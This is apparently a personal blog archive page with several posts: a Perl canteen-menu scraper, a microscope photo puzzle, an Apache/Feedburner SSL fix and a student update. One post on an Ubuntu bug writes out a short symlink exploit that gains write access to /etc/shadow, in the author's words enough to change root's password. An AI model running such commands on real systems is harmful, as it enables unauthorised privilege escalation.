binfalse

I often check what our canteen offer for lunch before we leave our building. The website that presents this portfolio is one of the worst I’ve ever seen and meanwhile I noticed that my private walking Mensa planer has still some bugs, so I had to think about an alternative solution and developed a little Perl script…

My initial idea was to read the website, parse the XML code and print the meals. Not a bit of it! The code of this site is nothing like valid! They invent new tags I’ve never heard about, they close nowhere opened paragraphs or table cells, I do not find the html-closing tag (the document ends with closing it’s body) and so on… It’s to much to mention all it’s unique features, but let me blame the producer: Peinhardt IT Systeme. Seems to be professionals… (A notice has left my mailbox, looking forward to their answer)

How ever, XML parsing fails, solving the bugs also fails, to much of it… So I’m now just grabbing the HTML-code, to extract the interesting content, with a more or less ugly regex, and print them to console… Here is the code:

#!/usr/bin/perl -w

use warnings;
use strict;
use LWP::UserAgent;

binmode STDOUT, ":utf8";

my $url = "http://meine-mensa.de/speiseplan_iframe";
my $mensa = 5;

my $browser = LWP::UserAgent->new(parse_head => 0);
$browser->timeout(10);

my $response = $browser->post ($url, ["selected_locations[]" => $mensa]);
my $content = $response->decoded_content ();
$content =~ s/\n//g;

while ($content =~ /<span style="font-weight: normal; font-size: 12px" class="counter_name">(.+?)<\/span>.+?<span.+?>(.+?)<\//gi)
{
	print $1.":\t".$2."\n";
}

So if somebody is also joining the Mensa Weinberg, you can copy this code or download it. The other canteens are also available, just change the value of the variable $mensa to your preferred one. The numbers can be found in the source code of this stupid website. Ok, to save you from trouble here are the numbers:

Cafeteria Brandbergweg

11

Cafeteria Burg

12

Mensa Bernburg

8

Mensa Dessau

13

Mensa Franckesche Stiftungen

14

Mensa Harz

3

Mensa Köthen

7

Mensa Neuwerk

9

Mensa Tulpe

10

Mensa Weinberg

5

Well, that’s it! Now you can decide within seconds whether it’s worthy to go to lunch or better stay hungry ;)

On Tuesday I went to Penny to buy some usual stuff. This week they also offered digital microscopes. One was left, so I had to purchase!

I did not expect any great hardware, but I’m astonished! First because it works on my sidux without any driver or manual work, just had to connect it to my USB port! And secondly I did not thought that 200 times magnification is such a high zoom rate..

How ever, I already had a lot of fun with it and prepared a puzzle. Here are some zoomed images and you can try to guess where it came from. Suggestions can be posted via comment, those of you who found a right solutions are invited to drink a beer with me ;)

Zoom A

An easy one to start…

Solution: Wood guessed by Martin S.

Zoom B

You use it nearly every day, don’t you!?

Solution: Backside of a German Euro coin guessed by Martin S.

Zoom C

Girls have to know it :P

Solution: Paper Towels guessed by Michael Rennecke

Zoom D

Maybe you’ll find it in your office…

Solution: Ball pen guessed by Martin S.

Zoom E

Not mine, but nevertheless very nice ;)

Solution: Watch guessed by Martin S.

(Unfortunately it’s Maria’s, I don’t have a real image of it yet… Comming soon)

Zoom F

If you can directly tell me where it comes from I’m impressed!

Solution: Novell animal guessed by Maria

Zoom G

Nice and old one! We use it to decrease the noise.

Solution: Mousepad guessed by Martin S.

Zoom H

Teachers may know it.

Solution: Whiteboard marker guessed by Michael Rennecke and Christoph R.

Zoom I

It’s a small zoom rate and very easy, but it looks nice.

Solution: DVI-Connector guessed by Michael Rennecke

Zoom J

Done with a tool from previous image.

Solution: Painted Whiteboard guessed by Michael Rennecke

(Unfortunately with a hint…)

Zoom K

It’s a mini computer.

Solution: Chipcard chip guessed by Martin S.

Zoom L

I don’t really like it, maybe I’m the only one who doesn’t…

Solution: Sugar guessed by Christoph R.

Zoom M

Also easy I think..

Solution: Screw guessed by Norman

Zoom N

Office stuff.

Solution: Ammo for stapler gun guessed by Martin S.

Zoom O

From the refrigerator.

Solution: Sausage guessed by Steffi

Zoom P

You are using it at the moment! Thanks to Rumpel!

Solution: (Mona Lisa) Harddrive guessed by Michael Rennecke

Zoom Q

At least one of it is actually running in every bigger machine.

Solution: Fan guessed by Michael Rennecke

Zoom R

Ok, thats difficult, I’m wondering if anyone can find the right answer. I’ve already blogged about it…

Solution: Look through a SUN-Ray guessed by Michael Rennecke

Zoom S

Small zoom and simple to guess.

Solution: Crinkled cardboard guessed by Martin S.

Zoom T

Also for teachers.

Solution: Chalk guessed by Martin S.

Zoom U

Sportsmen know such things.

Solution: Rumpel’s scab ;) guessed by Martin S.

Zoom V

You’ll find one in nearly every office.

Solution: Pencil guessed by Christoph R.

Zoom W

Also not mine ;)

Solution: Shaved beard guessed by Michael Rennecke

Zoom X

Mmmh, disgusting, isn’t it?

Solution: Kiwi guessed by Maria and Norman

Zoom Y

Also disgusting I think.

Solution: Dried Strawberry guessed by Maria

Zoom Z

Germans should know it!

Solution: Print media guessed by Martin S.

(Wow, c’t identified! It’s written on the CD)

Zoom 1

Oh nice colors.

Solution: Display guessed by Martin S.

Zoom 2

Something like a kaleidoscope?

Solution: Condensed water guessed by Michael Rennecke

Zoom 3

Mmh, that is tasty, ask your doc!

Solution: Apple stem guessed by Maria

Zoom 4

Yes, that is mine!

Solution: Unshaved beard guessed by Michael Rennecke

Tomorrow I’ll provide some more images, but not for puzzling because to some of the images I don’t have a right solution or I don’t know an exact name. So be patient ;)

Update: As promised the album.

Microscoping

Ubuntu, you all should know, isn’t my preferred operating system. It’s very nice for linux beginners and may decrease some manual work at private machines, but when I’ve heard about the actual bug I’m very confused why we still have to use Ubuntu in our PC pools and why some work groups are emphatic about this system and why we have to administrate their server and local machines with Ubuntu.

I’m still wondering why simple users in Ubuntu systems can out of the box read all log files or the shadow.. That is not that kind of security I’m dreaming about ;)

The actual bug is very simple (via):

rm -rf ~/.cache
ln -s /etc/shadow ~/.cache
ssh localhost

Now you’ve owned the shadow file and you are able to modify roots pass phrase! It’s just too easy…

By the way I tried it by myself and got a funny message:

mscharm@SERVER ~ % ssh localhost
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
aa:bb:cc:dd:ee:ff:gg:hh:ii:jj:kk:ll:mm:nn:oo:pp.
Please contact your system administrator.
Add correct host key in /homes/mscharm/.ssh/known_hosts to get rid of this message.
Offending key in /homes/mscharm/.ssh/known_hosts:10
RSA host key for localhost has changed and you have requested strict checking.
Host key verification failed.
255 mscharm@SERVER ~ %

And my friend Rumpel also tried this exploit and after lunch I just heard him saying

fuck, bolted out, by my self...

not able to disable his screensaver. Maybe he changed a little bit to much in his shadow file!? ;)

Fortunately the patch is released, so have a lot of fun while updating your systems. You should reboot after the update, otherwise the bug is still enabled…

The last few days my feeds were out of date. I manage them with Google’s solution called feedburner, you may have recognized it.

It seems that the developer of this project changed some stuff, anyway, they did not actualize my feeds. The last days (or weeks) I did not had the time to care about, but today I found some minutes.

When I tried to resync my feeds manually I got this nice red error (see also the picture):

There is an issue that must be addressed with your source feed for the feed "binfalse" sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

This is caused by my Apache redirect directive that redirects all visitors looking for an insecure URL at port 80 to my SSL encrypted content at port 443:

<virtualhost *:80>
...
        Redirect / /
...
</virtualhost>

So you see I’m caring about security ;)

This method works for a long time, but now feedburner tries to verify the certs and because of a lack of money I signed my certs by myself. So feedburner denies the access and doesn’t reread my own feeds to update its database. To repair this problem I’m just redirecting my real content and not the feeds, so feedburner is happy and why should I care about the secure connection of feedburner to my site..

Nevertheless it is not my preferred solution.

Before anyone thinks I’m hibernating, I’ve just soo much to do, so there is no time to maintain this blog… Just don’t know what to do first.

This week I had a presentation, topic was “Modeling of Overflow Metabolism in Batch and Fed-Batch Cultures of Escherichia coli”. I also had to submit a study, with the headline “Modeling and evaluation of the dynamic behavior of a fermentation by simulation”, that among others analyzes the dependencies of the ratio of product concentration versus biomass concentration on biological parameters. Additionally this week I finished a work for a friend at the Otto-von-Guericke-Universität Magdeburg. He has to evaluate x-rays taken at a new detector and I developed a tool that does the trick.

As if that were not enough time consuming I’m still working on my project work, next week I have to present it in a research seminar (fortunately in German).

The reason I write this article, tomorrow is the so called Lange Nacht der Wissenschaften (translated by Google: Long Night of Science). Here the different departments of the university are presenting what they are doing, comprehensible for the public. In this event we have also a slot dealing with SUN Spots where I’m presenting some cool stuff I’ve programmed. Planed are a some introductions what Spots are and what they can do, and of course some demos. Among others we are playing with the light sensor and visualize a sunrise and a sunset, we demonstrate how one can regulate a fan depending on the temperature measured with a Spot (to induce a higher temperature a candle is planed, I hope everything will be well and the Spot won’t melt away!). Of course some basic demos are shown, like AirText or the BouncingDemo, and last but not least it is time to play. I have prepared a labyrinth that has to be solved by various people against each other (up to seven people at a time in the same labyrinth, just limited by the number of available Spots), and also I also developed a control system for the game Blobby Volley to navigate the Blobbies with a Spot, maybe you’ve heard about it ;) We also wanted to build a little car to drive around a little bit, but I’m not such engineer so this car isn’t finished…

If you are bored and don’t know what to do tomorrow visit this presentation!! It’s at 8.30 am in room 3.31 at the Von-Seckendorff-Platz 1.

Maybe I publish all the code when there is a little bit time to write some comments and how-to’s.

So you see, I’m very busy at the moment. If anyone has nothing to do, just notify me, I’ll give you something to work on!